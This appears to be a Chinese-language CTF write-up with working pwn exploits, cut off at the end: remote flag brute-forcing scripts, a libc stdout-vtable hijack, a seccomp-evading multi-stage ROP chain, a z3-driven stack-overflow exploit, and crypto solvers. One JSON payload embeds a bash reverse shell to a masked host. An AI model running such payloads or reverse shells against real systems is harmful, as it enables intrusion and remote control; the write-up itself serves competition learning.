    "aa":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

    "cc":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

    "dd":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

    "ee":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

    "ff":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

    "gg":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

    "ff":"aaaaaa",



    "ee":"aaaaaa",

    "dd":"aaaaaa",

    "zz":"zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz\"bbbbbb\u5100\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u3100\u0000\u0000\u0000\u404e\ucfa6\uae7f\u0000",

    "address":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

    "rop":"\u0000\u0000\u0000\u0000\ua0eb\ub007\u4056\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u25e7\ub7a6\uae7f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u98ec\ub007\u4056\u0000\u5f83\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\u5100\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u9697\ub5a6\uae7f\u0000\ub04f\ucfa6\uae7f\u0000\u0fb9\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\ucde1\ubfa6\uae7f\u0000\u0000\u0000\u0000\u0000\u50be\ub7a6\uae7f\u0000/bin/touch\u2020/ctf/work/asddd",

    "rops":"aaaaaaaa\u804e\ucfa6\uae7f\u0000\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\u50f0\uc5a6\uae7f\u0000\u804e\ucfa6\uae7f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u25e7\ub7a6\uae7f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u784f\ucfa6\uae7f\u0000\u5f83\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\u5100\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u9697\ub5a6\uae7f\u0000\ub04f\ucfa6\uae7f\u0000\u0fb9\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\ucde1\ubfa6\uae7f\u0000\u0000\u0000\u0000\u0000\u50be\ub7a6\uae7f\u0000/bin/bash\u2020-c\u2020\u2022/bin/bash\u2020-i\u2020>&/dev/tcp/xxx.xxx.xxx.xx/9090\u20200>&1\u2022",

    "rops":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

}

Christmas Song

逆向scan.l 和 parser.y文件得到slang语言语法文法

通过call function open flag read flag 然后利用strncmp侧信道爆破flag

from pwn import *

import string

context.log_level = 'debug'

# sh = remote('124.71.144.133', 2144)

payload = '''

gift work is "12345678901234567890123456789012345678901234567890";

gift path is "/home/ctf/flag";

gift oflag is 0;

gift temp is 0;

gift Size is 48;

gift fd is 0;

gift flag is "{0}";

gift Ans is 1;

gift zero is 0;

gift flagsize is {1};

reindeer Dancer delivering gift path oflag temp brings back gift fd;

reindeer Dasher delivering gift fd work Size;

reindeer Prancer delivering gift work flag flagsize brings back gift Ans;

this family wants gift Ans if the gift is Ans equal to zero : reindeer Rudolph delivering gift path oflag temp brings back gift fd; ok, they should already have a gift;

EOF

'''

flag = 'SCTF{Merry'

cnt  = 11

stringset = string.printable

while True:

    for i in stringset:

        temp = flag + i

        log.success(temp)

        sh = remote('124.71.144.133', 2144)

        sh.sendafter('(EOF to finish):', payload.format(temp, cnt))

        # log.success(payload.format(temp, cnt))

        try :

            sh.recvuntil('error:')

        except EOFError:

            sh.close()

        else:

            flag += i

            cnt += 1

            sh.close()

            break



    log.success('flag=' + flag)

sh.interactive()

Christmas Bash

在开始时候将sleep变量的值设置成了libc中sleep可以用此求出libcbase

然后将IO_2_1_stdout的vtable中的_IO_file_jumps改为system, 利用printf即可触发

 gift libcbase is sleep - 972880;

gift target is libcbase + 2205080;

gift system is libcbase + 346848;

gift Stdout is libcbase + 2201440 + 4;

gift heap is libcbase + 2198720;

gift var is "12345678";

gift Binsh is ";/home/ctf/getflag >&2";

gift Size is 8;

gift tmp is 30;

gift filename is "wood";

gift offset is 1000;

gift var is var + offset;

reindeer Vixen delivering gift target var Size;

reindeer Vixen delivering gift Stdout Binsh tmp;

reindeer Dancer delivering gift filename Size Size;

Gadget

题目给了一个简单的栈溢出，但是用 seccomp 限制了 syscall 只能有 (fstat)5 和 (read) 0。

于是问题变成了，如何才能打开 flag 文件。查询 syscall 之后发现，在 i386 架构下，syscall number 5 是 open。因此，我们可以通过切换到 32 位的方式来打开 flag，然后再切换回 64 位模式来读取 flag。

但是仍然还有问题，并没有一个 syscall 可以写 flag 到输出，于是我们只能设计一个方法让远程能够判断 flag 某一位是不是某一个字符。这个方法有很多，我这里选择的是，在 gadget 的最后放一个 read stdin 的操作，这样就能让 ROP 执行完之后卡住。但是在卡住之前，会尝试往一个邻近边界的地址 + 当前 flag 字符的位置写入内容，如果越界了就崩溃（这样程序结束之后也就不会卡住了），如果没有越界就不会崩溃。通过这样的方式就可以判断。

由于 read 函数每次只能读入不到 200 个字符，最后我把 ROP 分成了四个阶段，具体 exploit 脚本如下：

#!/usr/bin/env python3

import os

import time

from zio import *

LOCAL = False

target = './gadget.patched'

if os.getenv('TARGET'):

    ary = os.getenv('TARGET').split(':')

    target = (ary[0], int(ary[1]))

    LOCAL = False

def test(index, guess):

    print('testing %d, guess = %#x' % (index, guess))

    print('target = %r' % (target, ))

    io = zio(target, print_read=COLORED(REPR, 'yellow'), print_write=COLORED(REPR, 'cyan'), timeout=10000)

    if LOCAL:

        io.gdb_hint(breakpoints=[

            # 0x401205,     # before ret

            0x401222,     # before main ret

        ])

    else:

        # do proof of work?

        # io.readline()

        # input('continue?')

        pass

    flag_addr = 0x40d160

    flag_path = b'./flag'

    new_stack2 = 0x40D200

    new_stack3 = 0x40d400

    new_stack4 = 0x40d600

    pop_rax_ret = 0x401001      # pop rax/eax ; ret

    syscall_pop_ret = 0x401165  # syscall ; pop ebp ; ret

    pop_rdi_pop_ret = 0x401734  # pop rdi ; pop rbp ; ret

    pop_r14_pop2_ret = 0x0000000000401731 # pop r14 ; pop r15 ; pop rbp ; ret

    pop_rsi_pop2_ret = 0x0000000000401732 # pop rsi ; pop r15 ; pop rbp ; ret

    pop_rbx_pop3_ret = 0x403072 # pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret | pop ebx ; inc ecx ; pop esi ; inc ecx ; pop edi ; pop ebp ; ret

    store_rdi_rax_ret = 0x0000000000403beb #  mov qword ptr [rdi + rdx - 0x27], rax ; mov rax, rdi ; ret

    access_rcx = 0x0000000000402fee # mov byte ptr [rcx + rdi - 5], 0x89 ; ret

    pop_rcx_ret = 0x000000000040117b    # pop rcx ; ret

    payload = b'_' * 0x30 + b'_____RBP'

    payload += l64(pop_rax_ret)

    payload += flag_path.ljust(8, b'\0')

    payload += l64(pop_rdi_pop_ret)

    payload += l64(flag_addr + 0x27)

    payload += l64(0x5f5f5f5f5f5f5f5f) # fill rbp

    payload += l64(store_rdi_rax_ret)

    payload += l64(pop_rdi_pop_ret)            

    payload += l64(new_stack2)            # bss

    payload += l64(0x5f5f5f5f5f5f5f5f)  # fill rbp

    payload += l64(0x401170)            # read stage2 ROP

    payload += l64(0x401730)            # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret

    payload += l64(new_stack2)

    payload2 = b'_' * 24

    payload2 += l64(0x401222)

    payload2 += l64(0x4011ed)    # retf

    payload2 += l64(0x401222 | (0x23 << 32))

    # mode switched

    payload2 += l32(pop_rax_ret)

    payload2 += l32(0x5)        # open

    payload2 += l32(pop_rbx_pop3_ret)

    payload2 += l32(flag_addr)

    payload2 += l32(0x5f5f5f5f)

    payload2 += l32(0x5f5f5f5f)

    payload2 += l32(0x5f5f5f5f)

    payload2 += l32(pop_rcx_ret)

    payload2 += l32(0)

    int80_ret = 0x4011f3

    payload2 += l32(int80_ret)

    # switch back

    payload2 += l32(0x4011ed)

    payload2 += l32(0x401222)

    payload2 += l32(0x33)

    payload2 += l64(pop_rdi_pop_ret)            

    payload2 += l64(new_stack3)          # bss

    payload2 += l64(0x5f5f5f5f5f5f5f5f)  # fill rbp

    payload2 += l64(0x401170)            # read stage3 ROP

    payload2 += l64(0x401730)            # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret

    payload2 += l64(new_stack3)

    # 0x0000000000406a43 : add al, byte ptr [rax] ; add byte ptr [rax + 0x14], bh ; syscall

    # 0x000000000040884e : je 0x408855 ; movsb byte ptr [rdi], byte ptr [rsi] ; dec edx ; jne 0x408850 ; ret

    payload3 = b'_' * 24

    payload3 += l64(pop_rax_ret)

    payload3 += l64(0)

    payload3 += l64(pop_rdi_pop_ret)

    payload3 += l64(3)                  # fd

    payload3 += l64(0x5f5f5f5f5f5f5f5f)

    payload3 += l64(pop_rsi_pop2_ret)    

    payload3 += l64(flag_addr)

    payload3 += l64(0x5f5f5f5f5f5f5f5f)

    payload3 += l64(0x5f5f5f5f5f5f5f5f)

    payload3 += l64(syscall_pop_ret)

    payload3 += l64(0x5f5f5f5f5f5f5f5f)

    payload3 += l64(pop_rdi_pop_ret)            

    payload3 += l64(new_stack4)          # bss

    payload3 += l64(0x5f5f5f5f5f5f5f5f)  # fill rbp

    payload3 += l64(0x401170)            # read stage3 ROP

    payload3 += l64(0x401730)            # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret

    payload3 += l64(new_stack4)

    payload4 = b'_' * 24

    payload4 += l64(pop_rcx_ret)

    payload4 += l64(0x40e000 - 1 + 5 - guess)

    payload4 += l64(pop_rbx_pop3_ret)

    payload4 += l64(0)      # rbx = 0

    payload4 += l64(access_rcx)       # r14

    payload4 += l64(0x5f5f5f5f5f5f5f5f) # r15

    payload4 += l64(0x5f5f5f5f5f5f5f5f) # rbp

    payload4 += l64(pop_rax_ret)

    payload4 += l64(flag_addr + index)

    payload4 += l64(pop_rsi_pop2_ret)

    payload4 += l64(0) + l64(0) + l64(0)

    payload4 += l64(0x4011BE)   # mov bl, [rsi+rax]; mov rdi, rbx; push r14; ret

    payload4 += l64(pop_rdi_pop_ret)

    payload4 += l64(flag_addr)

    payload4 += l64(0x5f5f5f5f5f5f5f5f)

    payload4 += l64(0x401170)

    for i, p in enumerate([payload, payload2, payload3, payload4]):

        if LOCAL:

            input('stage%d?' % (i+1))

        else:

            time.sleep(0.1)

        if len(p) > 0xc0:

            raise ValueError('payload2 too long: %#x' % len(p))

        io.writeline(p)

    try:

        io.read_until_timeout(1)

        if io.is_eof_seen():

            io.close()

            return False

        else:

            io.close()

            return True

    except ConnectionResetError:

        return False

flag = b''

while True:

    for i in range(32, 127):

        v = test(len(flag), i)

        if v:

            flag += bytes([i])

            break

    print('flag = %s' % flag)

    if flag.endswith(b'}'):

        break

CheckIn ret2text

连接上端口并且做了 PoW 验证之后，会发送回来一个 base64 的 ELF，打开之后发现是很多运算逻辑，最后在某个深处有一个栈溢出。但是为了达到这个栈溢出的位置，需要自动选择正确的输入到达这个路径。

看起来需要 “符号执行” 技术来达到这样的条件。不过由于对 angr 不太熟，同时也想尝试一下手糙 “符号执行” 的难度有多大，这里选择直接使用 z3 来做。不过这样的代价是，代码量有点收不住。。一道简单的栈溢出题目，写了 500 多行代码，有点超出预想了。。

仔细观察题目发回来的 ELF，我们可以发现以下两个特征：

路径很多，但是实际上是一个二叉树结构，没有环形，也没有其他结构。而漏洞函数就在二叉树叶子节点的某个分支。
虽然验证代码比较长，但是总共只有两种，一种是输入几个数字，计算一道数学题；另一种是输入一段字符串，然后做一些位运算之后，与一个结果相比较。

因此可以用以下思路来解决：

先把 ELF 做反汇编，然后建立每一个指令和能达到的指令的关联。
遍历指令，找到溢出的地方在哪里。
根据第一步形成的关联，反向一直寻路到 main 函数起点（毕竟没有环路），并标记沿途中有多个出口指令的分叉选择。
最后再从 main 函数正向走到漏洞点，根据路径分叉选择来计算正确的输入是什么。如果是需要匹配的，那么用 z3 计算出正确的结果；如果不需要匹配的，那么随机生成一个输入即可通过。

最后基于上述思路，添加亿点点细节，即可拿到 flag（可能是有史以来为一个 pwn 题写过的最长的代码）：

#!/usr/bin/env python3

import os

from typing import List

import subprocess

import base64

import random

import re

from dataclasses import dataclass

from z3 import Solver, BitVec, BitVecVal, sat, unsat

from zio import *

@dataclass

class Ins:

    index: int

    addr: str

    exits: List[str]

    opcode: str

    args: List[str]

    choice: str

    def __str__(self):

        return '%s: %s %s -> %s' % (self.addr, self.opcode, ','.join(self.args), self.exits)

def load_disasm(filepath):

    valid = False

    cnt = 0

    instructions = []

    mapping = {}

    reverse_map = {}

    for line in open(filepath):

        cnt += 1

        if '<main>:' in line:

            valid = True

            continue

        elif '<_Unwind_Resume@plt>' in line:

            valid = False

            continue

        if not valid or not line.strip():

            continue

        ary = line[:-1].split('\t')

        addr = ary[0].split(':')[0].strip()

        instruction = ary[2].split('#')[0].strip()

        ary = instruction.split(maxsplit=1)

        if len(ary) == 2:

            opcode, args = ary

        else:

            opcode = ary[0]

            args = ''

        args = args.split(',')

        ins = Ins(

            index=len(instructions),

            addr=addr,

            opcode=opcode,

            args=args,

            exits=[],

            choice=None,

        )

        target = args[0].split(' ')[0]

        if opcode == 'jmp':

            ins.exits.append(target)

            reverse_map.setdefault(target, [])

            reverse_map[target].append(addr)

        elif opcode in ['je', 'jne', 'jg', 'jbe']:

            ins.exits.append(None)

            ins.exits.append(target)

            reverse_map.setdefault(target, [])

            reverse_map[target].append(addr)

        else:

            ins.exits.append(None)

            if opcode.startswith('j'):

                raise ValueError('unhandled jmp: %s' % opcode)

        if len(instructions) and instructions[-1].exits[0] is None:

            instructions[-1].exits[0] = addr

            reverse_map.setdefault(addr, [])

            reverse_map[addr].append(instructions[-1].addr)

        instructions.append(ins)

        mapping[addr] = ins

    for ins in instructions:

        print(ins)

    return instructions, mapping, reverse_map

def find_overflow():

    pattern = re.compile(r'\[rbp-(\w+)\]')

    for i, ins in enumerate(instructions):

        if ins.opcode == 'call' and 'input_line' in ins.args[0]:

            lea_rax_rbp = instructions[i-3]

            assert lea_rax_rbp.opcode == 'lea'

            assert lea_rax_rbp.args[0] == 'rax'

            mo = pattern.match(lea_rax_rbp.args[1])

            if not mo:

                raise ValueError('opcode incorrect: %s' % lea_rax_rbp.args[1])

            offset = int(mo.group(1), 0)

            mov_esi = instructions[i-2]

            assert mov_esi.opcode == 'mov'

            assert mov_esi.args[0] == 'esi'

            length = int(mov_esi.args[1], 0)

            if length - offset >= 8:

                return i, offset, length

def find_path(idx):

    addr = instructions[idx].addr

    path = [addr]

    while True:

        prev = reverse_map[addr]

        if len(prev) > 1:

            raise ValueError('multiple path: %s' % prev)

        prev = prev[0]

        mapping[prev].choice = addr

        addr = prev

        path.append(addr)

        if mapping[addr].index == 0:

            break

    for p in path[::-1]:

        print(p)

def parse(symbols, operand:str, size=32):

    try:

        return BitVecVal(int(operand, 0), size)

    except:

        return symbols[operand]

def store(symbols:dict, operand:str, value):

    symbols[operand] = value

def add(solver, symbols, args, size=32):

    a = parse(symbols, args[0], size=size)

    b = parse(symbols, args[1], size=size)

    c = a + b

    store(symbols, args[0], c)

def sub(solver, symbols, args, size=32):

    a = parse(symbols, args[0], size=size)

    b = parse(symbols, args[1], size=size)

    c = a - b

    store(symbols, args[0], c)

def imul(solver, symbols, args, size=32):

    a = parse(symbols, args[0], size=size)

    b = parse(symbols, args[1], size=size)

    c = a * b

    store(symbols, args[0], c)

def xor(solver, symbols, args, size=32):

    a = parse(symbols, args[0], size=size)

    b = parse(symbols, args[1], size=size)

    c = a ^ b

    store(symbols, args[0], c)

def mov(solver, symbols, args, size=32):

    b = parse(symbols, args[1])

    store(symbols, args[0], b)

def bitwise_not(solver, symbols, args, size=32):

    a = parse(symbols, args[0], size=size)

    c = ~a

    store(symbols, args[0], c)

def cmp(solver, symbols, args, size=32):

    a = parse(symbols, args[0])

    b = parse(symbols, args[1])

    solver.add(a == b)



def solve_math(block, match):

    print('solve_math')

    for b in block:

        print(' ', b)

    # DWORD PTR [rbp-0x5e0]

    pattern = re.compile(r'DWORD PTR \[rbp-(\w+)\]')

    solver = Solver()

    symbols = {}

    user_input = []

    ops = {

        'mov': mov,

        'add': add,

        'sub': sub,

        'cmp': cmp,

        'xor': xor,

        'imul': imul,

    }

    i = 0

    while i < len(block):

        ins = block[i]

        if ins.opcode == 'call' and 'input_val' in ins.args[0]:

            store_ins = block[i+1]

            assert store_ins.opcode == 'mov'

            assert store_ins.args[1] == 'eax'

            mo = pattern.match(store_ins.args[0])

            if not mo:

                print(store_ins)

                raise ValueError('not match')

            else:

                bv = BitVec(store_ins.args[0], 32)

                user_input.append(bv)

                symbols[store_ins.args[0]] = bv

            i += 2

        else:

            if len(user_input):

                ops[ins.opcode](solver, symbols, ins.args, size=32)

            i += 1



    if not match:

        return [random.randint(0, 65535) for i in range(len(user_input))]

    if solver.check() == sat:

        m = solver.model()

        ret = []

        for i in range(len(user_input)):

            v = m[user_input[i]]

            if v is not None:

                ret.append(v.as_long())

            else:

                ret.append(0x5f)

        return ret

    raise Exception('unsat')

def solve_array(block, match):

    print('solve_array')

    for b in block:

        print(' ', b)



    solver = Solver()

    symbols = {}

    pattern  = re.compile(r'\[rbp-(\w+)\]')

    pattern2 = re.compile(r'\[rip\+(\w+)\]')

    user_input = []

    ops = {

        'movzx': mov,

        'mov': mov,

        'add': add,

        'sub': sub,

        'cmp': cmp,

        'xor': xor,

        'not': bitwise_not,

    }

    i = 0

    while i < len(block):

        ins = block[i]

        print(i, ins)

        if ins.opcode == 'call' and 'input_line' in ins.args[0]:

            mov_esi = block[i-2]

            assert mov_esi.opcode == 'mov'

            assert mov_esi.args[0] == 'esi'

            length = int(mov_esi.args[1], 0)

            lea_ins = block[i-3]    # lea    rax,[rbp-0x6e0]

            assert lea_ins.opcode == 'lea'

            assert lea_ins.args[0] == 'rax'

            mo = pattern.search(lea_ins.args[1])

            if mo:

                base = int(mo.group(1), 16)

            else:

                raise ValueError('invalid option: %s' % lea_ins.args[1])

            print('length = %#x' % length)

            for j in range(length):

                key = 'BYTE PTR [rbp-%#x]' % (base-j)

                bv = BitVec(key, 8)

                symbols[key] = bv

                user_input.append(bv)

            i += 1

        else:

            if len(user_input):

                if ins.opcode in ['lea', 'test', 'setz', 'sete']:

                    pass

                elif ins.opcode == 'call':

                    lea_rsi = block[i-2]

                    assert lea_rsi.opcode == 'lea'

                    assert lea_rsi.args[0] == 'rsi'

                    mo = pattern2.match(lea_rsi.args[1])

                    if not mo:

                        raise ValueError('invalid lea_rsi: %s' % lea_rsi)

                    pos = int(mo.group(1), 0) + int(lea_rsi.choice, 16) - 0x400000

                    value = bin_content[pos:pos+length]

                    for j in range(length):

                        key = 'BYTE PTR [rbp-%#x]' % (base-j)

                        solver.add(symbols[key] == BitVecVal(value[j], 8))

                elif ins.opcode == 'mov' and ins.args[1] == 'rax':

                    pass

                else:

                    if len(ins.args) > 1 and ins.args[1] == 'al':

                        args = [ins.args[0], 'eax']

                    else:

                        args = ins.args

                    ops[ins.opcode](solver, symbols, args, size=8)



            i += 1

    if not match:

        return bytes([random.randint(65, 90) for i in range(len(user_input))])

    if solver.check() == sat:

        m = solver.model()

        ret = []

        for i in range(len(user_input)):

            ret.append(m[user_input[i]].as_long())

        return bytes(ret)

    raise Exception('unsat')

def walk(io):

    idx = 0

    addr = instructions[0].addr

    block = []

    while True:

        ins = mapping[addr]

        if len(ins.exits) == 1:

            if ins.choice != ins.exits[0]:

                return

            block.append(ins)

            addr = ins.choice

            continue

        print('handling block with %d instructions' % (len(block), ))

        assert ins.choice in ins.exits

        if block[-1].opcode == 'cmp':

            # math

            if ins.choice in ins.args[0]:

                if ins.opcode in ['jz', 'je']:

                    should_match = True

                else:

                    print(ins)

                    assert ins.opcode in ['jnz', 'jne']

                    should_match = False

            else:

                if ins.opcode in ['jz', 'je']:

                    should_match = False

                else:

                    assert ins.opcode in ['jnz', 'jne']

                    should_match = True

            ret = solve_math(block, should_match)

            v = ' '.join([str(x) for x in ret])

            print('solve math:', v)

            io.read_until(b':')

            io.write(v + ' ')

        elif block[-1].opcode == 'test':

            if ins.choice in ins.args[0]:

                if ins.opcode in ['jz', 'je']:

                    should_match = False

                else:

                    assert ins.opcode in ['jnz', 'jne'], ins.opcode

                    should_match = True

            else:

                if ins.opcode in ['jz', 'je']:

                    should_match = True

                else:

                    assert ins.opcode in ['jnz', 'jne']

                    should_match = False

            ret = solve_array(block, should_match)

            print('solve array:', ret)

            io.read_until(b':')

            io.write(ret)

        else:

            print(block[-1])

            raise ValueError('not possible')

        print('next block entry: %s' % ins.choice)

        block = []

        addr = ins.choice

LOCAL = True

target = './bin.patched'

if os.getenv('TARGET'):

    ary = os.getenv('TARGET').split(':')

    target = (ary[0], int(ary[1]))

    LOCAL = False

def solve_pow(suffix, hsh):

    if isinstance(hsh, bytes):

        hsh = hsh.decode('utf-8')

    if isinstance(suffix, bytes):

        suffix = suffix.decode('utf-8')

    p = ['hashcat', '--potfile-disable', '--quiet', '--outfile-format', '2', '-a', '3', '-m1400', hsh.strip(), '?a?a?a?a' + suffix.strip()]

    pio = zio(p)

    x = pio.readline()

    pio.close()

    return x[:4]

print('target = %r' % (target, ))

io = zio(target, print_read=COLORED(RAW, 'yellow'), print_write=COLORED(RAW, 'cyan'), timeout=10000)

if LOCAL:

    io.gdb_hint(breakpoints=[

        0x40141F,

    ])

    bin_content = open(target, 'rb').read()

    instructions, mapping, reverse_map = load_disasm('disasm.txt')

else:

    io.read_until(b'sha256(xxxx + ')

    suffix = io.read_until(b') == ', keep=False)

    hsh = io.read_line(keep=False)

    ans = solve_pow(suffix, hsh)

    io.read_until(b'give me xxxx:')

    io.writeline(ans)

    b64 = io.read_until(b'==end==', keep=False)

    bin_content = base64.b64decode(b64.strip())

    with open('bin.tmp', 'wb') as f:

        f.write(bin_content)

    with open('bin.tmp.disasm.txt', 'w') as f:

        proc = subprocess.run(['objdump', '-M', 'intel',  '-d', './bin.tmp'], stdout=f, stderr=f)

    instructions, mapping, reverse_map = load_disasm('bin.tmp.disasm.txt')

idx, overflow_offset, overflow_size = find_overflow()

print(idx)

print(instructions[idx-3])

print(instructions[idx-2])

print(instructions[idx-1])

print(instructions[idx-0])

find_path(idx)

walk(io)

ret = 0x401379

system = 0x40134C

payload = l64(ret) * ((overflow_offset // 8) + 1) + l64(ret) + l64(system)

io.write(payload.ljust(overflow_size, b'_'))

io.interact()

Crypto

ciruit map

描述：

A valid map

Digital circuits is hard , right?

https://vergissmeinnichtz.github.io/posts/2021dicectf-writeup/ 2021dicectf原题

import hashlib

from Crypto.Util.number import long_to_bytes

def xor(A, B):

    return bytes(a ^ b for a, b in zip(A, B))

input = [

    [13675268, 8343801],

    [12870274, 10251687],

    [12490757, 6827786],

    [3391233, 2096572],

    [4567418, 15707475], 

    [3648155, 14095476], 

    [8680011, 14409690], 

    [2504390, 9376523]  #先求出的key

]

xor1 = b''

for i in input:

    tmp = sum(i)

    xor1 += bytes(long_to_bytes(tmp))

mask = hashlib.md5(xor1).digest()

flag = long_to_bytes(0x1661fe85c7b01b3db1d432ad3c5ac83a)

print(xor(mask, flag))

cubic

nc 123.60.153.41 7002

A valid cubic

经典的自定义群运算题目，很显然这是一个有限群，所以其商群必然存在循环群。根据欧拉定理的证明可以得出，欧拉定理适用的条件是循环群，因此该题目定义的群是符合欧拉定理的。RSA也是基于欧拉定理，所以这道题和RSA的解法很像。

现在的关键问题是寻找一种方法求群上元素的阶，这是应用欧拉定理的关键数据。观察代码可以看出这个群的单位元是(None, None)，我们不妨打个表来找一下规律，用下面的脚本：

from Crypto.Util.number import *

def add(P, Q, mod):

    x1, y1 = P

    x2, y2 = Q

    if x2 is None:

        return P

    if x1 is None:

        return Q

    if y1 is None and y2 is None:

        x = x1 * x2 % mod

        y = (x1 + x2) % mod

        return (x, y)

    if y1 is None and y2 is not None:

        x1, y1, x2, y2 = x2, y2, x1, y1

    if y2 is None:

        if (y1 + x2) % mod != 0:

            x = (x1 * x2 + 2) * inverse(y1 + x2, mod) % mod

            y = (x1 + y1 * x2) * inverse(y1 + x2, mod) % mod

            return (x, y)

        elif (x1 - y1 ** 2) % mod != 0:

            x = (x1 * x2 + 2) * inverse(x1 - y1 ** 2, mod) % mod

            return (x, None)

        else:

            return (None, None)

    else:

        if (x1 + x2 + y1 * y2) % mod != 0:

            x = (x1 * x2 + (y1 + y2) * 2) * inverse(x1 + x2 + y1 * y2, mod) % mod

            y = (y1 * x2 + x1 * y2 + 2) * inverse(x1 + x2 + y1 * y2, mod) % mod

            return (x, y)

        elif (y1 * x2 + x1 * y2 + 2) % mod != 0:

            x = (x1 * x2 + (y1 + y2) * 2) * inverse(y1 * x2 + x1 * y2 + 2, mod) % mod

            return (x, None)

        else:

            return (None, None)

def myPower(P, a, mod):

    target = (None, None)

    t = P

    while a > 0:

        if a % 2:

            target = add(target, t, mod)

        t = add(t, t, mod)

        a >>= 1

    return target

def genPrime(nbits):

    while True:

        a = random.getrandbits(nbits // 2)

        b = random.getrandbits(nbits // 2)

        if b % 3 == 0:

            continue

        p = a ** 2 + 3 * b ** 2

        if p.bit_length() == nbits and p % 3 == 1 and isPrime(p):

            return p

def order(v, p):

    i = 1

    while True:

        if myPower(v, i, p) == (None, None):

            return i

        i += 1

test = (1, 1)

print("p\t\torder\t\tp^2\t\t\tp^3")

for _ in range(10):

    p = genPrime(8)

    print("%d\t\t%d\t\t%d\t\t%d" % (p, order(test, p), p ** 2, p ** 3))

分析输出：

p        order       p^2         p^3

199        13267       39601       7880599

199        13267       39601       7880599

211        14911       44521       9393931

199        13267       39601       7880599

181        10981       32761       5929741

163        1273        26569       4330747

211        14911       44521       9393931

193        12481       37249       7189057

151        7651        22801       3442951

241        19441       58081       13997521

发现，$p^3-1$都是order的倍数。那么完全可以当作阶来用。又因为flag不会太大，因此题目中用的模数pad*N完全可以用p或者q代替，这样这个题就做出来了。

exp如下：

from math import gcd 

import gmpy2 

from Crypto.Util.number import inverse, long_to_bytes 



def RSAdecompose(n, ed): 

    tmp = ed - 1 

    s = 0 

    while tmp % 2 == 0: 

        s += 1 

        tmp //= 2 

    t = tmp 



    A = 0 

    I = 0 



    find = False 

    for a in range(2, n): 

        for i in range(1, s + 1): 

            if pow(a, pow(2, i - 1) * t, n) != 1 and pow(a, pow(2, i - 1) * t, n) != n - 1 and pow(a, pow(2,i) * t, n) == 1: 

                A = a 

                I = i 

                find = True 

                break 

        if find: 

            break 



    if A == 0 and I == 0: 

        return None 



    p = gcd(pow(A, pow(2, I - 1) * t, n) - 1, n) 

    q = n // p 

    assert p * q == n 



    return (p, q) 



def rational_to_quotients(x, y): 

    a = x // y 

    quotients = [a] 

    while a * y != x: 

        x, y = y, x - a * y 

        a = x // y 

        quotients.append(a) 

    return quotients 



def convergents_from_quotients(quotients): 

    convergents = [(quotients[0], 1)] 

    for i in range(2, len(quotients) + 1): 

        quotients_partion = quotients[0:i] 

        denom = quotients_partion[-1]  # 分母 

        num = 1 

        for _ in range(-2, -len(quotients_partion), -1): 

            num, denom = denom, quotients_partion[_] * denom + num 

        num += denom * quotients_partion[0] 

        convergents.append((num, denom)) 

    return convergents 



def WienerAttack(e, n): 

    quotients = rational_to_quotients(e, n) 

    convergents = convergents_from_quotients(quotients) 

    for (k, d) in convergents: 

        if k and not (e * d - 1) % k: 

            phi = (e * d - 1) // k 

            # check if (x^2 - coef * x + n = 0) has integer roots 

            coef = n - phi + 1 

            delta = coef * coef - 4 * n 

            if delta > 0 and gmpy2.iroot(delta, 2)[1] == True: 

                return d 



def add(P, Q, mod): 

    x1, y1 = P 

    x2, y2 = Q 



    if x2 is None: 

        return P 

    if x1 is None: 

        return Q 



    if y1 is None and y2 is None: 

        x = x1 * x2 % mod 

        y = (x1 + x2) % mod 

        return (x, y) 



    if y1 is None and y2 is not None: 

        x1, y1, x2, y2 = x2, y2, x1, y1 



    if y2 is None: 

        if (y1 + x2) % mod != 0: 

